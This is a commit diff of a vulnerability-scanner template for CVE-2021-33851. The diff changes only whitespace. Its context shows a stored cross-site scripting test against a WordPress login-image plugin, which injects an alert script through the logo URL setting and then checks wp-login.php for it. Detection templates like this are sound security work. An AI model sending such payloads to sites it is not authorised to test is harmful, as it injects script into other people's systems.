Update CVE-2021-33851.yaml
parent
3599c192f2
commit
adac0df430
|
@ -36,7 +36,7 @@ requests:
|
|||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
option_page=customize-login-image-settings-group&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Dcustomize-login-image%252Fcustomize-login-image-options.php%26settings-updated%3Dtrue&cli_logo_url=<script>alert(document.domain)</script>&cli_logo_file=&cli_login_background_color=&cli_custom_css=
|
||||
|
||||
|
||||
- |
|
||||
GET /wp-login.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
@ -50,7 +50,7 @@ requests:
|
|||
- 'contains(all_headers_4, "text/html")'
|
||||
- 'contains(body_4, "Go to <script>alert(document.domain)</script>")'
|
||||
condition: and
|
||||
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: nonce
|
||||
|
|
Loading…
Reference in New Issue